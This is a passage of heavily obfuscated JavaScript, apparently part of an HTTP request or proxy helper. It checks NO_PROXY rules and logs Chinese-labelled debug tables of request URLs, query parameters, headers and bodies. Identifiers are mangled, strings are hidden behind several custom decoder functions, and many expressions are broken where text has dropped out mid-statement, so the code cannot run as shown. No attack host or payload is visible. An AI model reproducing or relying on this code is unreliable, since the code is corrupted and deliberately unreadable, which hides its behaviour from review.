_ur_8HD={[FUxHt8(0x146)]:jRDvSi(0xb7),[FUxHt8(jRDvSi(0x12b))]:jRDvSi(0xb9),[ORi6Xa_[wePIns(jRDvSi(0xc9))](jRDvSi(0xa4),jRDvSi(0x5e))]:null,[FUxHt8(jRDvSi(0x12c))]:null,[ORi6Xa_(jRDvSi(0x12d))]:null,[ORi6Xa_(jRDvSi(0x154))]:jRDvSi(0xb7)},be2Bx5=this[ORi6Xa_(jRDvSi(0x8a))],rReTqO=jRDvSi(0xb9);try{var MocfTe;function N_Y9bri(cxe4nWS){return rApiUiv[cxe4nWS<-0x3?cxe4nWS+0x1c:cxe4nWS<0x195?cxe4nWS<-0x3?cxe4nWS+0xf:cxe4nWS>0x195?cxe4nWS+0xa:cxe4nWS+0x2:cxe4nWS+0x5f]}MocfTe=(cxe4nWS,ORi6Xa_,_ur_8HD,be2Bx5,rReTqO)=>{function N_Y9bri(cxe4nWS){return rApiUiv[cxe4nWS>0x27?cxe4nWS>0x27?cxe4nWS<0x27?cxe4nWS+0x14:cxe4nWS>0x1bf?cxe4nWS+0x2f:cxe4nWS-0x28:cxe4nWS+0x5e:cxe4nWS-0x43]}if(typeof be2Bx5===wePIns(N_Y9bri(0x7c))){be2Bx5=Q4akRG}if(typeof rReTqO===wePIns(jRDvSi(0x9a))){rReTqO=d_VGdWb}if(be2Bx5===void 0x0){MocfTe=rReTqO}if(be2Bx5===MocfTe){Q4akRG=ORi6Xa_;return Q4akRG(_ur_8HD)}if(cxe4nWS!==ORi6Xa_){return rReTqO[cxe4nWS]||(rReTqO[cxe4nWS]=be2Bx5(IOmkxPs[cxe4nWS]))}};if(gkVk0iy(cxe4nWS,L9nQB4r=jRDvSi(0x111))||gkVk0iy(cxe4nWS[FUxHt8(0x14d)],QBdZEr(0x13))){rK45quy(console[ORi6Xa_(0x14e)](FUxHt8(jRDvSi(0x12e))),_ur_8HD[ORi6Xa_(jRDvSi(0x12d))]=FUxHt8(0x150));return _ur_8HD}if(cxe4nWS[FUxHt8(0x151)](ORi6Xa_(jRDvSi(0x12f)))){rK45quy(be2Bx5=cxe4nWS[ORi6Xa_(0x152)],delete cxe4nWS[ORi6Xa_[wePIns(jRDvSi(0xb3))](undefined,[0x152])])}const OmVFw6R=this[ORi6Xa_(0x153)],SauZPG=this[ORi6Xa_(jRDvSi(0x130))],ksAIOZl=this[MocfTe(0x155)];if(cxe4nWS[MocfTe(jRDvSi(0x131))]){rK45quy(cxe4nWS[ORi6Xa_(0x148)]=cxe4nWS[MocfTe(0x156)],delete cxe4nWS[MocfTe(jRDvSi(0x131))])}for(const M9UH60W of[ORi6Xa_[wePIns(0x2ac)](jRDvSi(0xa4),jRDvSi(0x5e)),ORi6Xa_(0x157)])if(gkVk0iy(cxe4nWS[M9UH60W],QBdZEr(jRDvSi(0x111)))){delete cxe4nWS[M9UH60W]}cxe4nWS[ORi6Xa_(0x158)]=(cxe4nWS[ORi6Xa_[wePIns(0x2ac)](jRDvSi(0xa4),0x158)]||MocfTe(jRDvSi(0x132)))[MocfTe(0x15a)]();if(cxe4nWS[MocfTe(0x15b)]&&gkVk0iy(cxe4nWS[MocfTe[wePIns(0x2ad)](jRDvSi(0xa4),[jRDvSi(0x133)])],L9nQB4r=0x33)===ORi6Xa_(0x15c)){const uo1eqeV=this[FUxHt8(0x15d)](cxe4nWS[MocfTe(jRDvSi(0x133))]);if(uo1eqeV){cxe4nWS[MocfTe[wePIns(0x2ad)](undefined,[0x15b])]=uo1eqeV}else{rK45quy(console[ORi6Xa_(jRDvSi(0x134))](ORi6Xa_(jRDvSi(0x8b))),delete cxe4nWS[MocfTe(0x15b)])}}if(cxe4nWS[ORi6Xa_(jRDvSi(0x5e))]&&gkVk0iy(cxe4nWS[ORi6Xa_[wePIns(0x2ac)](void 0x0,0x148)],QBdZEr(jRDvSi(0xc8)))===MocfTe(0x160)&&(gkVk0iy(cxe4nWS[FUxHt8(jRDvSi(0x12c))],QBdZEr(0x13))||gkVk0iy(cxe4nWS[FUxHt8(jRDvSi(0x12c))][MocfTe[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[jRDvSi(0x135)])],L9nQB4r=jRDvSi(0x111))||cxe4nWS[FUxHt8(N_Y9bri(0xe4))][MocfTe[wePIns(N_Y9bri(0x81))](jRDvSi(0xa4),N_Y9bri(0xed))][ORi6Xa_(N_Y9bri(0xee))](FUxHt8(0x163)))&&Qknz4M1.hmEUpuU>-N_Y9bri(0x65)){cxe4nWS[ORi6Xa_[wePIns(jRDvSi(0xb3))](undefined,[jRDvSi(0x5e)])]=Qjm702[FUxHt8[wePIns(0x2ac)](N_Y9bri(0x5c),jRDvSi(0x70))](cxe4nWS[ORi6Xa_[wePIns(N_Y9bri(0x81))](void 0x0,0x148)])}if(cxe4nWS[ORi6Xa_[wePIns(0x2ac)](jRDvSi(0xa4),N_Y9bri(0xef))]&&gkVk0iy(cxe4nWS[ORi6Xa_(N_Y9bri(0xef))],L9nQB4r=0x33)===MocfTe(jRDvSi(0x138))&&cxe4nWS[FUxHt8(0x14d)][ORi6Xa_(jRDvSi(0x136))](FUxHt8(0x166))){rK45quy(rReTqO=cxe4nWS[ORi6Xa_(jRDvSi(0x137))],Object[MocfTe[wePIns(jRDvSi(0xb3))](N_Y9bri(0x5c),[jRDvSi(0x6a)])](d2UxA4T[MocfTe[wePIns(0x2ac)](void 0x0,0x168)][FUxHt8[wePIns(0x2ad)](jRDvSi(0xa4),[0x169])],rReTqO),delete cxe4nWS[ORi6Xa_(N_Y9bri(0xef))])}else{if(cxe4nWS[FUxHt8(jRDvSi(0x13a))](ORi6Xa_[wePIns(0x2ad)](void 0x0,[0x165]))){delete cxe4nWS[ORi6Xa_(0x165)]}}let fYCH9k=jRDvSi(0xb7);if(gkVk0iy([MocfTe(0x15b),ORi6Xa_(jRDvSi(0x141)),MocfTe(0x16b)][MocfTe(N_Y9bri(0xf1))](ORi6Xa_=>cxe4nWS[FUxHt8[wePIns(N_Y9bri(0x81))](void 0x0,jRDvSi(0x13a))](ORi6Xa_)),L9nQB4r=0x13)){if(OmVFw6R||SauZPG){let jQeGCp3=!0x0;const eKhH04=this[FUxHt8(0x108)](cxe4nWS[FUxHt8(0x14d)])[FUxHt8(0x16d)]||cxe4nWS[FUxHt8(0x14d)];for(const uKftHLs of ksAIOZl){var qIjQiBi=(cxe4nWS,ORi6Xa_,_ur_8HD,be2Bx5,rReTqO)=>{if(typeof be2Bx5===wePIns(jRDvSi(0x9a))){be2Bx5=cwcVC35}if(typeof rReTqO===wePIns(0x298)){rReTqO=d_VGdWb}if(_ur_8HD==be2Bx5){return ORi6Xa_?cxe4nWS[rReTqO[ORi6Xa_]]:d_VGdWb[cxe4nWS]||(_ur_8HD=rReTqO[cxe4nWS]||be2Bx5,d_VGdWb[cxe4nWS]=_ur_8HD(IOmkxPs[cxe4nWS]))}if(cxe4nWS!==ORi6Xa_){return rReTqO[cxe4nWS]||(rReTqO[cxe4nWS]=be2Bx5(IOmkxPs[cxe4nWS]))}};const _giwWP=new RegExp(gkVk0iy('^'+uKftHLs[ORi6Xa_(0x16e)]('*')[qIjQiBi(0x16f)]('.*'),'$',QBdZEr(-0x24)));if(_giwWP[ORi6Xa_(0x170)](eKhH04[FUxHt8[wePIns(N_Y9bri(0x6b))](void 0x0,[0x16d])])&&Qknz4M1.V603UF()){jQeGCp3=jRDvSi(0xb7);if(be2Bx5){console[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[jRDvSi(0x13b)])](`ℹ️ 该代理请求命中 NO_PROXY 规则 ➜ ${uKftHLs}`)}break}function cwcVC35(cxe4nWS,ORi6Xa_='"RDriCkNLVhg^d4Uc%t:=3.PJ[sHZ$Ynql0}{&16jE@K;T2+Q]?ye`o~Ax7(8pf_',_ur_8HD,be2Bx5,rReTqO=[],MocfTe,OmVFw6R=0x0,SauZPG,ksAIOZl=0x0,M9UH60W){rK45quy(_ur_8HD=''+(cxe4nWS||''),be2Bx5=_ur_8HD.length,MocfTe=N_Y9bri(0x53),SauZPG=-0x1);for(ksAIOZl=ksAIOZl;ksAIOZl0x58?N_Y9bri(0x9e):0xe);do{rK45quy(rReTqO.push(MocfTe&0xff),MocfTe>>=N_Y9bri(0x63),OmVFw6R-=jRDvSi(0xab))}while(OmVFw6R>0x7);SauZPG=-0x1}}if(SauZPG>-N_Y9bri(0x60)){rReTqO.push((MocfTe|SauZPG<0x19?cxe4nWS<0x19?cxe4nWS-0x4:cxe4nWS<0x19?cxe4nWS+0x1e:cxe4nWS<0x1b1?cxe4nWS-0x1a:cxe4nWS-0x33:cxe4nWS-0x23]}const oGrtYs6=await this[FUxHt8(VoOYhd(0x111))](SauZPG[ORi6Xa_(0x174)]),uo1eqeV=this[ORi6Xa_[wePIns(N_Y9bri(0x81))](VoOYhd(0x78),0x175)](oGrtYs6);if(uo1eqeV){rK45quy(Object[ORi6Xa_(0x176)](SauZPG,{[FUxHt8(0x177)]:Date[FUxHt8(N_Y9bri(0xf6))](),[MocfTe(0x178)]:0x0,[MocfTe[wePIns(0x2ad)](void 0x0,[0x172])]:uo1eqeV}),cxe4nWS[MocfTe(N_Y9bri(0xeb))]=uo1eqeV,fYCH9k=VoOYhd(0x110),this[FUxHt8(0x179)]&&console[FUxHt8(0x17a)](this[FUxHt8(N_Y9bri(0xf7))][ORi6Xa_[wePIns(N_Y9bri(0x81))](void 0x0,N_Y9bri(0xf8))](/
/g,this[FUxHt8(0x17d)](cxe4nWS[MocfTe(0x15b)]))))}else{if(gkVk0iy(SauZPG[ORi6Xa_[wePIns(VoOYhd(0x87))](VoOYhd(0x78),[VoOYhd(0x3a)])],L9nQB4r=0x13)){_ur_8HD[ORi6Xa_(0x14a)]=ORi6Xa_[wePIns(0x2ac)](N_Y9bri(0x5c),0x17f);return _ur_8HD}}}}}}}}for(const M9UH60W of[MocfTe(0x15b),ORi6Xa_(jRDvSi(0x141)),MocfTe(N_Y9bri(0xfa))])if(gkVk0iy(cxe4nWS[M9UH60W],QBdZEr(jRDvSi(0x111)))){delete cxe4nWS[M9UH60W]}if(cxe4nWS[MocfTe(0x15b)]){rK45quy(this[MocfTe(jRDvSi(0x143))](MocfTe[wePIns(jRDvSi(0xb3))](void 0x0,[0x181])),cxe4nWS[MocfTe(0x16b)]=this[ORi6Xa_(0x182)](cxe4nWS[MocfTe(0x15b)]),delete cxe4nWS[MocfTe(0x15b)])}await AGvNiQ(cxe4nWS)[FUxHt8[wePIns(N_Y9bri(0x81))](void 0x0,jRDvSi(0x144))](async rReTqO=>{if(fYCH9k){var MocfTe=(rReTqO,OmVFw6R,ksAIOZl,cxe4nWS,ORi6Xa_)=>{if(typeof cxe4nWS===wePIns(N_Y9bri(0x52))){cxe4nWS=M9UH60W}if(typeof ORi6Xa_===wePIns(jRDvSi(0x9a))){ORi6Xa_=d_VGdWb}if(cxe4nWS===N_Y9bri(0x5c)){MocfTe=ORi6Xa_}if(OmVFw6R){[ORi6Xa_,OmVFw6R]=[cxe4nWS(ORi6Xa_),rReTqO||ksAIOZl];return MocfTe(rReTqO,ORi6Xa_,ksAIOZl)}if(rReTqO!==OmVFw6R){return ORi6Xa_[rReTqO]||(ORi6Xa_[rReTqO]=cxe4nWS(IOmkxPs[rReTqO]))}if(ksAIOZl==rReTqO){return OmVFw6R[d_VGdWb[ksAIOZl]]=MocfTe(rReTqO,OmVFw6R)}if(ksAIOZl==cxe4nWS){return OmVFw6R?rReTqO[ORi6Xa_[OmVFw6R]]:d_VGdWb[rReTqO]||(ksAIOZl=ORi6Xa_[rReTqO]||cxe4nWS,d_VGdWb[rReTqO]=ksAIOZl(IOmkxPs[rReTqO]))}};rK45quy(SauZPG[ORi6Xa_(0x184)]=Date[FUxHt8(N_Y9bri(0xf6))](),SauZPG[ORi6Xa_(0x185)]++);const OmVFw6R=SauZPG[MocfTe(N_Y9bri(0xfd))]>jRDvSi(0x9b)&&SauZPG[ORi6Xa_(0x185)]>=SauZPG[MocfTe(0x186)],ksAIOZl=SauZPG[ORi6Xa_[wePIns(0x2ad)](N_Y9bri(0x5c),[N_Y9bri(0x26)])]>N_Y9bri(0x53)&&Date[FUxHt8(0x138)]()-SauZPG[FUxHt8(N_Y9bri(0xff))]>=SauZPG[ORi6Xa_[wePIns(0x2ad)](N_Y9bri(0x5c),[jRDvSi(0x6e)])];if(OmVFw6R||ksAIOZl){Object[MocfTe(jRDvSi(0x146))](SauZPG,{[ORi6Xa_(0x18a)]:null,[ORi6Xa_[wePIns(0x2ac)](void 0x0,0x184)]:null,[FUxHt8[wePIns(0x2ad)](N_Y9bri(0x5c),[jRDvSi(0x147)])]:jRDvSi(0xb9),[ORi6Xa_(0x185)]:0x0})}function M9UH60W(rReTqO,MocfTe='u"3},!=;x:4#0?8wb`Hv_f[y*9AXBorCa1Rs&7d6Ve/TmlQNg.Dp~MW5K)z$EU|<2k^qtYjISF{J]OP@>nG+Z(hiL%c',OmVFw6R,ksAIOZl,M9UH60W=[],cxe4nWS=0x0,ORi6Xa_,_ur_8HD,be2Bx5=0x0,SauZPG){rK45quy(OmVFw6R=''+(rReTqO||''),ksAIOZl=OmVFw6R.length,ORi6Xa_=N_Y9bri(0x53),_ur_8HD=-0x1);for(be2Bx5=be2Bx5;be2Bx5jRDvSi(0xaa)?N_Y9bri(0x9e):N_Y9bri(0x8e));do{rK45quy(M9UH60W.push(cxe4nWS&0xff),cxe4nWS>>=0x8,ORi6Xa_-=jRDvSi(0xab))}while(ORi6Xa_>jRDvSi(0x9e));_ur_8HD=-0x1}}if(_ur_8HD>-N_Y9bri(0x60)){M9UH60W.push((cxe4nWS|_ur_8HD<{if(fYCH9k){var OmVFw6R=(rReTqO,ksAIOZl,M9UH60W,jQeGCp3,eKhH04)=>{if(typeof jQeGCp3===wePIns(0x298)){jQeGCp3=uo1eqeV}if(typeof eKhH04===wePIns(N_Y9bri(0x52))){eKhH04=d_VGdWb}if(rReTqO!==ksAIOZl){return eKhH04[rReTqO]||(eKhH04[rReTqO]=jQeGCp3(IOmkxPs[rReTqO]))}if(M9UH60W&&jQeGCp3!==uo1eqeV){OmVFw6R=uo1eqeV;return OmVFw6R(rReTqO,-N_Y9bri(0x60),M9UH60W,jQeGCp3,eKhH04)}if(M9UH60W==rReTqO){return ksAIOZl[d_VGdWb[M9UH60W]]=OmVFw6R(rReTqO,ksAIOZl)}if(jQeGCp3===N_Y9bri(0x5c)){OmVFw6R=eKhH04}};rK45quy(SauZPG[ORi6Xa_(0x191)]=Date[FUxHt8(N_Y9bri(0xf6))](),SauZPG[MocfTe(jRDvSi(0x14b))]++);const ksAIOZl=SauZPG[ORi6Xa_(jRDvSi(0xbe))]>0x0&&SauZPG[MocfTe(0x192)]>=SauZPG[ORi6Xa_(0x193)],M9UH60W=SauZPG[FUxHt8(jRDvSi(0x149))]>0x0&&Date[FUxHt8(0x138)]()-SauZPG[OmVFw6R(0x195)]>=SauZPG[FUxHt8(N_Y9bri(0x101))];if(ksAIOZl||M9UH60W){Object[MocfTe(N_Y9bri(0x102))](SauZPG,{[FUxHt8[wePIns(0x2ac)](void 0x0,0x197)]:jRDvSi(0xb9),[ORi6Xa_(0x191)]:jRDvSi(0xb9),[OmVFw6R(0x195)]:null,[MocfTe(jRDvSi(0x14b))]:N_Y9bri(0x53)})}function uo1eqeV(rReTqO,OmVFw6R='6UGtBcQ0XE}(Ym%^pfySI*rsJk,jN?#<84V&.`M_b!7L=C91uFA5v]a)Tdn:HzDe>Z{@2|i3O$g;RKw~[hPoxW/"ql+',ksAIOZl,M9UH60W,uo1eqeV=[],jQeGCp3=0x0,eKhH04,cxe4nWS,ORi6Xa_=0x0,_ur_8HD){rK45quy(ksAIOZl=''+(rReTqO||''),M9UH60W=ksAIOZl.length,eKhH04=jRDvSi(0x9b),cxe4nWS=-0x1);for(ORi6Xa_=ORi6Xa_;ORi6Xa_0x58?jRDvSi(0xe6):0xe);do{rK45quy(uo1eqeV.push(jQeGCp3&N_Y9bri(0x64)),jQeGCp3>>=jRDvSi(0xab),eKhH04-=N_Y9bri(0x63))}while(eKhH04>N_Y9bri(0x56));cxe4nWS=-jRDvSi(0xa8)}}if(cxe4nWS>-N_Y9bri(0x60)){uo1eqeV.push((jQeGCp3|cxe4nWS<(d2UxA4T[(FUxHt8[wePIns(0x2ad)](undefined,[jRDvSi(0x72)]))][(FUxHt8(0x1b5))][cxe4nWS]=null,void 0x0))}function Q4akRG(cxe4nWS,ORi6Xa_='qbBpAKrLadz{8*_y<47=,lJ"m&`xg#R!/Z>%]}Te6)wD(U@:X?cN2I5v^QW9nCh1ESoYjutO+V.3fP|[F0;ikGs$H~M',_ur_8HD,be2Bx5,rReTqO=[],MocfTe,OmVFw6R,SauZPG,ksAIOZl,M9UH60W){rK45quy(_ur_8HD=''+(cxe4nWS||''),be2Bx5=_ur_8HD.length,MocfTe=jRDvSi(0x9b),OmVFw6R=jRDvSi(0x9b),SauZPG=-0x1);for(ksAIOZl=N_Y9bri(0x53);ksAIOZlN_Y9bri(0x62)?0xd:0xe);do{rK45quy(rReTqO.push(MocfTe&0xff),MocfTe>>=0x8,OmVFw6R-=N_Y9bri(0x63))}while(OmVFw6R>0x7);SauZPG=-jRDvSi(0xa8)}}if(SauZPG>-N_Y9bri(0x60)){rReTqO.push((MocfTe|SauZPG<jRDvSi(0xaa)?0xd:jRDvSi(0xd6));do{rK45quy(rReTqO.push(MocfTe&jRDvSi(0xac)),MocfTe>>=jRDvSi(0xab),N_Y9bri-=jRDvSi(0xab))}while(N_Y9bri>0x7);OmVFw6R=-0x1}}if(OmVFw6R>-0x1){rReTqO.push((MocfTe|OmVFw6R<{function MocfTe(cxe4nWS){return rApiUiv[cxe4nWS<0x18b?cxe4nWS+0xc:cxe4nWS-0x19]}if(typeof be2Bx5===wePIns(jRDvSi(0x9a))){be2Bx5=_ur_8HD}if(typeof rReTqO===wePIns(MocfTe(0x48))){rReTqO=d_VGdWb}if(cxe4nWS!==rK45quy){return rReTqO[cxe4nWS]||(rReTqO[cxe4nWS]=be2Bx5(IOmkxPs[cxe4nWS]))}if(FUxHt8==be2Bx5){return rK45quy?cxe4nWS[rReTqO[rK45quy]]:d_VGdWb[cxe4nWS]||(FUxHt8=rReTqO[cxe4nWS]||be2Bx5,d_VGdWb[cxe4nWS]=FUxHt8(IOmkxPs[cxe4nWS]))}if(be2Bx5===MocfTe(0x52)){ORi6Xa_=rReTqO}if(rK45quy){[rReTqO,rK45quy]=[be2Bx5(rReTqO),cxe4nWS||FUxHt8];return ORi6Xa_(cxe4nWS,rReTqO,FUxHt8)}};return await this[FUxHt8(jRDvSi(0x90))](Object[ORi6Xa_[wePIns(jRDvSi(0xc9))](void 0x0,0x1bf)]({},cxe4nWS,{[ORi6Xa_(0x1c0)]:FUxHt8(0x1be)}));function _ur_8HD(cxe4nWS,ORi6Xa_='YcEkQO@z_x.}1{mH?Ze:`wo8)CPd2ShB$XRI>0x58?jRDvSi(0xe6):0xe);do{rK45quy(FUxHt8.push(be2Bx5&jRDvSi(0xac)),be2Bx5>>=jRDvSi(0xab),rReTqO-=jRDvSi(0xab))}while(rReTqO>0x7);MocfTe=-jRDvSi(0xa8)}}if(MocfTe>-0x1){FUxHt8.push((be2Bx5|MocfTe<0x5?cxe4nWS>0x5?cxe4nWS>0x5?cxe4nWS>0x19d?cxe4nWS+0x12:cxe4nWS-0x6:cxe4nWS+0xe:cxe4nWS+0x19:cxe4nWS+0x2d]}let rReTqO,MocfTe=null;rK45quy(rReTqO=new _ur_8HD({[FUxHt8(jRDvSi(0x158))]:[{[FUxHt8(be2Bx5(0x127))]:'类型',[FUxHt8(jRDvSi(0x86))]:FUxHt8(0x1d0),[FUxHt8(0x1d1)]:FUxHt8[wePIns(jRDvSi(0xc9))](jRDvSi(0xa4),jRDvSi(0x168))},{[FUxHt8(0x1ce)]:'说明',[FUxHt8(jRDvSi(0x86))]:FUxHt8(jRDvSi(0x15a)),[FUxHt8(jRDvSi(0x159))]:FUxHt8[wePIns(0x2ac)](void 0x0,0x1d2)}],[FUxHt8(0x1d4)]:{'🟢':jRDvSi(0xa3),[jRDvSi(0x15b)]:0x2,'❌':jRDvSi(0xa3)}}),rReTqO[FUxHt8(0x1d5)]({[FUxHt8(0x1d0)]:FUxHt8(0x1d6),[FUxHt8(jRDvSi(0x15a))]:`${ORi6Xa_?'🟢':cxe4nWS?.[FUxHt8(0x1d7)]?jRDvSi(0x15b):'❌'}${cxe4nWS?.[FUxHt8[wePIns(jRDvSi(0xb3))](be2Bx5(0x64),[jRDvSi(0x15c)])]?` ${cxe4nWS[FUxHt8[wePIns(0x2ac)](void 0x0,0x1d8)]}`:cxe4nWS?.[FUxHt8[wePIns(be2Bx5(0x89))](void 0x0,0x1d7)]?` ${cxe4nWS[FUxHt8[wePIns(be2Bx5(0x73))](void 0x0,[0x1d7])]?.[FUxHt8(0x1d8)]}`:''} - ${''[FUxHt8(jRDvSi(0x15d))](cxe4nWS?.[FUxHt8(0x1da)]?.[FUxHt8(0x1db)]||'未知')[FUxHt8(0x1dc)]()}`}));if(cxe4nWS?.[FUxHt8(0x1da)]?.[FUxHt8(0x1dd)]){try{rK45quy(MocfTe=new URL(cxe4nWS[FUxHt8(0x1da)][FUxHt8(jRDvSi(0x161))]),rReTqO[FUxHt8[wePIns(0x2ac)](void 0x0,be2Bx5(0x11e))]({[FUxHt8(0x1d0)]:FUxHt8[wePIns(0x2ad)](jRDvSi(0xa4),[0x1de]),[FUxHt8(jRDvSi(0x15a))]:MocfTe[FUxHt8(jRDvSi(0x15f))]}),rReTqO[FUxHt8(0x1d5)]({[FUxHt8(0x1d0)]:FUxHt8[wePIns(0x2ac)](jRDvSi(0xa4),0x1e0),[FUxHt8(0x1d3)]:MocfTe[FUxHt8[wePIns(jRDvSi(0xb3))](void 0x0,[0x1e1])]}))}catch{rReTqO[FUxHt8(0x1d5)]({[FUxHt8(0x1d0)]:FUxHt8(jRDvSi(0x160)),[FUxHt8(0x1d3)]:cxe4nWS[FUxHt8(0x1da)][FUxHt8(be2Bx5(0x121))]})}}rReTqO[FUxHt8(be2Bx5(0x122))]();if((MocfTe&&MocfTe?.[FUxHt8(be2Bx5(0x123))]||cxe4nWS?.[FUxHt8(be2Bx5(0x124))]?.[FUxHt8(0x1e5)])&&Qknz4M1.hmEUpuU>-be2Bx5(0x6d)){try{const N_Y9bri=Object[FUxHt8(0x1e6)]({},new URLSearchParams(MocfTe?.[FUxHt8(jRDvSi(0x163))])||{},cxe4nWS?.[FUxHt8[wePIns(0x2ac)](jRDvSi(0xa4),jRDvSi(0x164))]?.[FUxHt8(jRDvSi(0x165))]||{});if(Object[FUxHt8(jRDvSi(0x166))](N_Y9bri)[FUxHt8(0x1e8)]>be2Bx5(0x5b)){rReTqO=new _ur_8HD({[FUxHt8(0x1cd)]:[{[FUxHt8(jRDvSi(0x167))]:'名称',[FUxHt8(jRDvSi(0x86))]:FUxHt8(0x1e9),[FUxHt8[wePIns(0x2ad)](be2Bx5(0x64),[0x1d1])]:FUxHt8[wePIns(be2Bx5(0x89))](void 0x0,0x1d2)},{[FUxHt8[wePIns(0x2ac)](jRDvSi(0xa4),be2Bx5(0x127))]:'值',[FUxHt8[wePIns(jRDvSi(0xb3))](void 0x0,[0x1cf])]:FUxHt8(0x1ea),[FUxHt8(jRDvSi(0x159))]:FUxHt8(be2Bx5(0x128))}]});for(let OmVFw6R in N_Y9bri)rReTqO[FUxHt8(jRDvSi(0x15e))]({[FUxHt8(be2Bx5(0x129))]:decodeURIComponent(OmVFw6R),[FUxHt8(0x1ea)]:decodeURIComponent(N_Y9bri[OmVFw6R])});rK45quy(console[FUxHt8(jRDvSi(0x157))](FUxHt8(0x1eb)),rReTqO[FUxHt8(0x1e3)]())}}catch{}}if(cxe4nWS?.[FUxHt8[wePIns(0x2ad)](be2Bx5(0x64),[0x1da])]?.[FUxHt8[wePIns(0x2ac)](void 0x0,0x1ec)]||cxe4nWS?.[FUxHt8(0x1da)]?.[FUxHt8(0x1ed)]){const SauZPG=(cxe4nWS[FUxHt8[wePIns(0x2ad)](void 0x0,[0x1da])]?.[FUxHt8(be2Bx5(0x35))]||cxe4nWS[FUxHt8(jRDvSi(0x164))]?.[FUxHt8(0x1ed)])?.[FUxHt8(0x1ee)],N_Y9bri={[FUxHt8(be2Bx5(0x12a))]:SauZPG[FUxHt8(0x1ef)][FUxHt8(0x1f0)](be2Bx5(0x12b),''),[FUxHt8(0x1f1)]:SauZPG[FUxHt8(jRDvSi(0x16c))]};if(SauZPG[FUxHt8(be2Bx5(0x12d))]){N_Y9bri[FUxHt8[wePIns(0x2ac)](undefined,0x1f2)]=SauZPG[FUxHt8(be2Bx5(0x12d))]}if(SauZPG instanceof URL){if(SauZPG[FUxHt8(0x1f3)]||SauZPG[FUxHt8[wePIns(be2Bx5(0x73))](void 0x0,[jRDvSi(0x83)])]){rK45quy(N_Y9bri[FUxHt8(jRDvSi(0x16e))]=SauZPG[FUxHt8[wePIns(0x2ac)](void 0x0,0x1f3)],N_Y9bri[FUxHt8[wePIns(0x2ad)](undefined,[0x1f4])]=SauZPG[FUxHt8(0x1f4)])}}else{if(SauZPG[FUxHt8(be2Bx5(0x12f))]){const ksAIOZl=SauZPG[FUxHt8(jRDvSi(0x16f))][FUxHt8(be2Bx5(0x130))](jRDvSi(0x16b));rK45quy(N_Y9bri[FUxHt8(0x1f7)]=ksAIOZl[be2Bx5(0x5b)],N_Y9bri[FUxHt8[wePIns(jRDvSi(0xc9))](undefined,0x1f8)]=ksAIOZl[0x1])}}rReTqO=new _ur_8HD({[FUxHt8[wePIns(0x2ad)](be2Bx5(0x64),[0x1cd])]:[{[FUxHt8[wePIns(jRDvSi(0xb3))](be2Bx5(0x64),[0x1ce])]:'名称',[FUxHt8(jRDvSi(0x86))]:FUxHt8(jRDvSi(0xc5)),[FUxHt8(be2Bx5(0x119))]:FUxHt8(0x1d2)},{[FUxHt8(jRDvSi(0x167))]:'值',[FUxHt8(0x1cf)]:FUxHt8(0x1fa),[FUxHt8(0x1d1)]:FUxHt8(0x1d2)}]});for(let OmVFw6R in N_Y9bri){let M9UH60W=N_Y9bri[OmVFw6R];if(typeof M9UH60W===FUxHt8[wePIns(0x2ad)](void 0x0,[0x1fb])){M9UH60W=JSON[FUxHt8(be2Bx5(0x3e))](M9UH60W)}rReTqO[FUxHt8[wePIns(0x2ac)](void 0x0,jRDvSi(0x15e))]({[FUxHt8(jRDvSi(0xc5))]:OmVFw6R,[FUxHt8[wePIns(be2Bx5(0x89))](be2Bx5(0x64),0x1fa)]:M9UH60W})}rK45quy(console[FUxHt8(be2Bx5(0x117))](FUxHt8(jRDvSi(0x171))),rReTqO[FUxHt8(0x1e3)]())}if(cxe4nWS?.[FUxHt8(be2Bx5(0x124))]?.[FUxHt8(be2Bx5(0x47))]){function uo1eqeV(cxe4nWS){return rApiUiv[cxe4nWS>0x154?cxe4nWS-0x10:cxe4nWS<0x154?cxe4nWS+0x43:cxe4nWS+0x50]}const N_Y9bri=cxe4nWS[FUxHt8(be2Bx5(0x124))][FUxHt8(be2Bx5(0x47))];rReTqO=new _ur_8HD({[FUxHt8(jRDvSi(0x158))]:[{[FUxHt8(be2Bx5(0x127))]:uo1eqeV(0xeb),[FUxHt8(0x1cf)]:FUxHt8(0x1ff),[FUxHt8(0x1d1)]:FUxHt8(jRDvSi(0x168))},{[FUxHt8(be2Bx5(0x127))]:'值',[FUxHt8(0x1cf)]:FUxHt8(0x200),[FUxHt8(0x1d1)]:FUxHt8(jRDvSi(0x168)),[FUxHt8(0x201)]:0x50}]});for(let OmVFw6R in N_Y9bri){let M9UH60W=N_Y9bri[OmVFw6R];if(typeof M9UH60W===FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x202])&&Qknz4M1.hmEUpuU>-jRDvSi(0xad)){M9UH60W=JSON[FUxHt8(be2Bx5(0x132))](M9UH60W)}rReTqO[FUxHt8(0x1d5)]({[FUxHt8[wePIns(jRDvSi(0xb3))](be2Bx5(0x64),[0x1ff])]:OmVFw6R,[FUxHt8(0x200)]:M9UH60W})}rK45quy(console[FUxHt8(be2Bx5(0x117))](FUxHt8[wePIns(0x2ac)](void 0x0,0x204)),rReTqO[FUxHt8(be2Bx5(0x122))]())}if(cxe4nWS?.[FUxHt8(be2Bx5(0x124))]?.[FUxHt8(be2Bx5(0x136))]){let N_Y9bri=cxe4nWS[FUxHt8(0x1da)][FUxHt8(0x205)];if(typeof N_Y9bri===FUxHt8(0x206)){N_Y9bri=JSON[FUxHt8[wePIns(0x2ad)](jRDvSi(0xa4),[0x207])](JSON[FUxHt8[wePIns(0x2ac)](void 0x0,0x208)](N_Y9bri))}else{if(typeof N_Y9bri===FUxHt8(0x209)){try{const fYCH9k=JSON[FUxHt8[wePIns(0x2ad)](jRDvSi(0xa4),[0x20a])](N_Y9bri);N_Y9bri=JSON[FUxHt8[wePIns(0x2ad)](be2Bx5(0x64),[0x20b])](fYCH9k)}catch{N_Y9bri=JSON[FUxHt8(0x20c)](N_Y9bri)[FUxHt8(be2Bx5(0x133))](jRDvSi(0xa8),gkVk0iy(be2Bx5(0x68),QBdZEr(-jRDvSi(0x111))))}}}console[FUxHt8(be2Bx5(0x117))](`\n✧ 请求 Body\n${N_Y9bri}`)}if(gkVk0iy(ORi6Xa_,L9nQB4r=jRDvSi(0x111))&&gkVk0iy(cxe4nWS?.[FUxHt8[wePIns(be2Bx5(0x89))](void 